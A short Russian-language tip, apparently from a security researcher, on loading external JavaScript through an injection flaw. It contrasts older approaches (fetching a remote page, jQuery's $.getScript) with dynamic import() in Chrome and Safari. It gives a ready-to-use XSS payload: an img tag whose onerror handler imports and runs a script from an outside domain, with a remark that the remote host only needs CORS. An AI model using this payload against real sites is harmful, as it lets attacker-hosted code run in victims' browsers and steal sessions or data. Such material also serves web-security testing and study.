Чтобы подключить внешний JS на страницу, нужно было либо обращаться к удаленной странице и выполнять ответ. Или хитрить и использовать уже подключенные библиотеки, например $.getScript в Jquery.
Сейчас в Chrome и Safari достаточно использовать функцию import. Например
<img src onerror=import('//bo0om.ru/x/')>
Для ответа у нашего скрипта должен быть настроен CORS, но в этом никакой проблемы нет.